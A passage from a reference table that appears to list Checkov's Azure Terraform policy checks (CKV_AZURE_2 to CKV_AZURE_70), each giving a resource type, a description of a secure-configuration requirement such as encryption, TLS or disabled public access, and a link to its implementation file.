Instance does not use basic authentication(Use SSH Key Instead) | Terraform | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py) | | 3656 | CKV_AZURE_2 | resource | azurerm_managed_disk | Ensure Azure managed disk has encryption enabled | Terraform | [AzureManagedDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryption.py) | | 3657 | CKV_AZURE_3 | resource | azurerm_storage_account | Ensure that 'enable_https_traffic_only' is enabled | Terraform | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsTransportEncryption.py) | | 3658 | CKV_AZURE_4 | resource | azurerm_kubernetes_cluster | Ensure AKS logging to Azure Monitoring is Configured | Terraform | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLoggingEnabled.py) | | 3659 | CKV_AZURE_5 | resource | azurerm_kubernetes_cluster | Ensure RBAC is enabled on AKS clusters | Terraform | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSRbacEnabled.py) | | 3660 | CKV_AZURE_6 | resource | azurerm_kubernetes_cluster | Ensure AKS has an API Server Authorized IP Ranges enabled | Terraform | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSApiServerAuthorizedIpRanges.py) | | 3661 | CKV_AZURE_7 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster has Network Policy configured | Terraform | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNetworkPolicy.py) | | 3662 | CKV_AZURE_8 | resource | azurerm_kubernetes_cluster | Ensure Kubernetes Dashboard is disabled | Terraform | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSDashboardDisabled.py) | | 3663 | CKV_AZURE_9 | resource | azurerm_network_security_group | Ensure that RDP access is restricted from the internet | Terraform | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py) | | 3664 | CKV_AZURE_9 | resource | azurerm_network_security_rule | Ensure that RDP access is restricted from the internet | Terraform | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py) | | 3665 | CKV_AZURE_10 | resource | azurerm_network_security_group | Ensure that SSH access is restricted from the internet | Terraform | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py) | | 3666 | CKV_AZURE_10 | resource | azurerm_network_security_rule | Ensure that SSH access is restricted from the internet | Terraform | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py) | | 3667 | CKV_AZURE_11 | resource | azurerm_mariadb_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 3668 | CKV_AZURE_11 | resource | azurerm_mssql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 3669 | CKV_AZURE_11 | resource | azurerm_mysql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 3670 | CKV_AZURE_11 | resource | azurerm_mysql_flexible_server_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 3671 | CKV_AZURE_11 | resource | azurerm_postgresql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 3672 | CKV_AZURE_11 | resource | azurerm_sql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 3673 | CKV_AZURE_12 | resource | azurerm_network_watcher_flow_log | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Terraform | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkWatcherFlowLogPeriod.py) | | 3674 | CKV_AZURE_13 | resource | azurerm_app_service | Ensure App Service Authentication is set on Azure App Service | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py) | | 3675 | CKV_AZURE_13 | resource | azurerm_linux_web_app | Ensure App Service Authentication is set on Azure App Service | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py) | | 3676 | CKV_AZURE_13 | resource | azurerm_windows_web_app | Ensure App Service Authentication is set on Azure App Service | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py) | | 3677 | CKV_AZURE_14 | resource | azurerm_app_service | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py) | | 3678 | CKV_AZURE_14 | resource | azurerm_linux_web_app | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py) | | 3679 | CKV_AZURE_14 | resource | azurerm_windows_web_app | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py) | | 3680 | CKV_AZURE_15 | resource | azurerm_app_service | Ensure web app is using the latest version of TLS encryption | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py) | | 3681 | CKV_AZURE_15 | resource | azurerm_linux_web_app | Ensure web app is using the latest version of TLS encryption | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py) | | 3682 | CKV_AZURE_15 | resource | azurerm_windows_web_app | Ensure web app is using the latest version of TLS encryption | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py) | | 3683 | CKV_AZURE_16 | resource | azurerm_app_service | Ensure that Register with Azure Active Directory is enabled on App Service | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py) | | 3684 | CKV_AZURE_16 | resource | azurerm_linux_web_app | Ensure that Register with Azure Active Directory is enabled on App Service | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py) | | 3685 | CKV_AZURE_16 | resource | azurerm_windows_web_app | Ensure that Register with Azure Active Directory is enabled on App Service | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py) | | 3686 | CKV_AZURE_17 | resource | azurerm_app_service | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py) | | 3687 | CKV_AZURE_17 | resource | azurerm_linux_web_app | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py) | | 3688 | CKV_AZURE_17 | resource | azurerm_windows_web_app | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py) | | 3689 | CKV_AZURE_18 | resource | azurerm_app_service | Ensure that 'HTTP Version' is the latest if used to run the web app | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py) | | 3690 | CKV_AZURE_18 | resource | azurerm_linux_web_app | Ensure that 'HTTP Version' is the latest if used to run the web app | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py) | | 3691 | CKV_AZURE_18 | resource | azurerm_windows_web_app | Ensure that 'HTTP Version' is the latest if used to run the web app | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py) | | 3692 | CKV_AZURE_19 | resource | azurerm_security_center_subscription_pricing | Ensure that standard pricing tier is selected | Terraform | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterStandardPricing.py) | | 3693 | CKV_AZURE_20 | resource | azurerm_security_center_contact | Ensure that security contact 'Phone number' is set | Terraform | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactPhone.py) | | 3694 | CKV_AZURE_21 | resource | azurerm_security_center_contact | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Terraform | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlert.py) | | 3695 | CKV_AZURE_22 | resource | azurerm_security_center_contact | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Terraform | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlertAdmins.py) | | 3696 | CKV_AZURE_23 | resource | azurerm_mssql_server | Ensure that 'Auditing' is set to 'On' for SQL servers | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml) | | 3697 | CKV_AZURE_23 | resource | azurerm_mssql_server_extended_auditing_policy | Ensure that 'Auditing' is set to 'On' for SQL servers | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml) | | 3698 | CKV_AZURE_23 | resource | azurerm_sql_server | Ensure that 'Auditing' is set to 'On' for SQL servers | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml) | | 3699 | CKV_AZURE_24 | resource | azurerm_mssql_server | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml) | | 3700 | CKV_AZURE_24 | resource | azurerm_mssql_server_extended_auditing_policy | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml) | | 3701 | CKV_AZURE_24 | resource | azurerm_sql_server | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml) | | 3702 | CKV_AZURE_25 | resource | azurerm_mssql_server_security_alert_policy | Ensure that 'Threat Detection types' is set to 'All' | Terraform | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerThreatDetectionTypes.py) | | 3703 | CKV_AZURE_26 | resource | azurerm_mssql_server_security_alert_policy | Ensure that 'Send Alerts To' is enabled for MSSQL servers | Terraform | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsEnabled.py) | | 3704 | CKV_AZURE_27 | resource | azurerm_mssql_server_security_alert_policy | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers | Terraform | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsToAdminsEnabled.py) | | 3705 | CKV_AZURE_28 | resource | azurerm_mysql_server | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server | Terraform | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerSSLEnforcementEnabled.py) | | 3706 | CKV_AZURE_29 | resource | azurerm_postgresql_server | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server | Terraform | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerSSLEnforcementEnabled.py) | | 3707 | CKV_AZURE_30 | resource | azurerm_postgresql_configuration | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogCheckpointsEnabled.py) | | 3708 | CKV_AZURE_31 | resource | azurerm_postgresql_configuration | Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogConnectionsEnabled.py) | | 3709 | CKV_AZURE_32 | resource | azurerm_postgresql_configuration | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerConnectionThrottlingEnabled.py) | | 3710 | CKV_AZURE_33 | resource | azurerm_storage_account | Ensure Storage logging is enabled for Queue service for read, write and delete requests | Terraform | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountLoggingQueueServiceEnabled.py) | | 3711 | CKV_AZURE_34 | resource | azurerm_storage_container | Ensure that 'Public access level' is set to Private for blob containers | Terraform | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobServiceContainerPrivateAccess.py) | | 3712 | CKV_AZURE_35 | resource | azurerm_storage_account | Ensure default network access rule for Storage Accounts is set to deny | Terraform | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py) | | 3713 | CKV_AZURE_35 | resource | azurerm_storage_account_network_rules | Ensure default network access rule for Storage Accounts is set to deny | Terraform | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py) | | 3714 | CKV_AZURE_36 | resource | azurerm_storage_account | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | Terraform | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py) | | 3715 | CKV_AZURE_36 | resource | azurerm_storage_account_network_rules | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | Terraform | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py) | | 3716 | CKV_AZURE_37 | resource | azurerm_monitor_log_profile | Ensure that Activity Log Retention is set 365 days or greater | Terraform | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileRetentionDays.py) | | 3717 | CKV_AZURE_38 | resource | azurerm_monitor_log_profile | Ensure audit profile captures all the activities | Terraform | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileCategories.py) | | 3718 | CKV_AZURE_39 | resource | azurerm_role_definition | Ensure that no custom subscription owner roles are created | Terraform | [CutsomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CutsomRoleDefinitionSubscriptionOwner.py) | | 3719 | CKV_AZURE_40 | resource | azurerm_key_vault_key | Ensure that the expiration date is set on all keys | Terraform | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyExpirationDate.py) | | 3720 | CKV_AZURE_41 | resource | azurerm_key_vault_secret | Ensure that the expiration date is set on all secrets | Terraform | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretExpirationDate.py) | | 3721 | CKV_AZURE_42 | resource | azurerm_key_vault | Ensure the key vault is recoverable | Terraform | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyvaultRecoveryEnabled.py) | | 3722 | CKV_AZURE_43 | resource | azurerm_storage_account | Ensure Storage Accounts adhere to the naming rules | Terraform | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountName.py) | | 3723 | CKV_AZURE_44 | resource | azurerm_storage_account | Ensure Storage Account is using the latest version of TLS encryption | Terraform | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountMinimumTlsVersion.py) | | 3724 | CKV_AZURE_45 | resource | azurerm_virtual_machine | Ensure that no sensitive credentials are exposed in VM custom_data | Terraform | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMCredsInCustomData.py) | | 3725 | CKV_AZURE_47 | resource | azurerm_mariadb_server | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers | Terraform | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBSSLEnforcementEnabled.py) | | 3726 | CKV_AZURE_48 | resource | azurerm_mariadb_server | Ensure 'public network access enabled' is set to 'False' for MariaDB servers | Terraform | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBPublicAccessDisabled.py) | | 3727 | CKV_AZURE_49 | resource | azurerm_linux_virtual_machine_scale_set | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead) | Terraform | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureScaleSetPassword.py) | | 3728 | CKV_AZURE_50 | resource | azurerm_linux_virtual_machine | Ensure Virtual Machine Extensions are not Installed | Terraform | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py) | | 3729 | CKV_AZURE_50 | resource | azurerm_windows_virtual_machine | Ensure Virtual Machine Extensions are not Installed | Terraform | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py) | | 3730 | CKV_AZURE_52 | resource | azurerm_mssql_server | Ensure MSSQL is using the latest version of TLS encryption | Terraform | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerMinTLSVersion.py) | | 3731 | CKV_AZURE_53 | resource | azurerm_mysql_server | Ensure 'public network access enabled' is set to 'False' for mySQL servers | Terraform | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLPublicAccessDisabled.py) | | 3732 | CKV_AZURE_54 | resource | azurerm_mysql_server | Ensure MySQL is using the latest version of TLS encryption | Terraform | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerMinTLSVersion.py) | | 3733 | CKV_AZURE_55 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Servers | Terraform | [AzureDefenderOnServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnServers.py) | | 3734 | CKV_AZURE_56 | resource | azurerm_function_app | Ensure that function apps enables Authentication | Terraform | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsEnableAuthentication.py) | | 3735 | CKV_AZURE_57 | resource | azurerm_app_service | Ensure that CORS disallows every resource to access app services | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py) | | 3736 | CKV_AZURE_57 | resource | azurerm_linux_web_app | Ensure that CORS disallows every resource to access app services | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py) | | 3737 | CKV_AZURE_57 | resource | azurerm_windows_web_app | Ensure that CORS disallows every resource to access app services | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py) | | 3738 | CKV_AZURE_58 | resource | azurerm_synapse_workspace | Ensure that Azure Synapse workspaces enables managed virtual networks | Terraform | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesManagedVirtualNetworks.py) | | 3739 | CKV_AZURE_59 | resource | azurerm_storage_account | Ensure that Storage accounts disallow public access | Terraform | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDisablePublicAccess.py) | | 3740 | CKV_AZURE_61 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for App Service | Terraform | [AzureDefenderOnAppServices.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnAppServices.py) | | 3741 | CKV_AZURE_62 | resource | azurerm_function_app | Ensure function apps are not accessible from all regions | Terraform | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppDisallowCORS.py) | | 3742 | CKV_AZURE_63 | resource | azurerm_app_service | Ensure that App service enables HTTP logging | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py) | | 3743 | CKV_AZURE_63 | resource | azurerm_linux_web_app | Ensure that App service enables HTTP logging | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py) | | 3744 | CKV_AZURE_63 | resource | azurerm_windows_web_app | Ensure that App service enables HTTP logging | Terraform | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py) | | 3745 | CKV_AZURE_64 | resource | azurerm_storage_sync | Ensure that Azure File Sync disables public network access | Terraform | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncPublicAccessDisabled.py) | | 3746 | CKV_AZURE_65 | resource | azurerm_app_service | Ensure that App service enables detailed error messages | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py) | | 3747 | CKV_AZURE_65 | resource | azurerm_linux_web_app | Ensure that App service enables detailed error messages | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py) | | 3748 | CKV_AZURE_65 | resource | azurerm_windows_web_app | Ensure that App service enables detailed error messages | Terraform | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py) | | 3749 | CKV_AZURE_66 | resource | azurerm_app_service | Ensure that App service enables failed request tracing | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py) | | 3750 | CKV_AZURE_66 | resource | azurerm_linux_web_app | Ensure that App service enables failed request tracing | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py) | | 3751 | CKV_AZURE_66 | resource | azurerm_windows_web_app | Ensure that App service enables failed request tracing | Terraform | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py) | | 3752 | CKV_AZURE_67 | resource | azurerm_function_app | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Terraform | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py) | | 3753 | CKV_AZURE_67 | resource | azurerm_function_app_slot | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Terraform | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py) | | 3754 | CKV_AZURE_68 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server disables public network access | Terraform | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerPublicAccessDisabled.py) | | 3755 | CKV_AZURE_69 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Azure SQL database servers | Terraform | [AzureDefenderOnSqlServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServers.py) | | 3756 | CKV_AZURE_70 | resource | azurerm_function_app | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 3757 | CKV_AZURE_70 | resource | azurerm_function_app_slot | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 3758 | CKV_AZURE_70 | resource | azurerm_linux_function_app | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 3759 | CKV_AZURE_70 | resource | azurerm_linux_function_app_slot | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 3760 | CKV_AZURE_70 | resource | azurerm_windows_function_app | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 3761 | CKV_AZURE_70 | resource | azurerm_windows_function_app_slot | Ensure that Function apps is only accessible over HTTPS | Terraform | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py) | | 3762 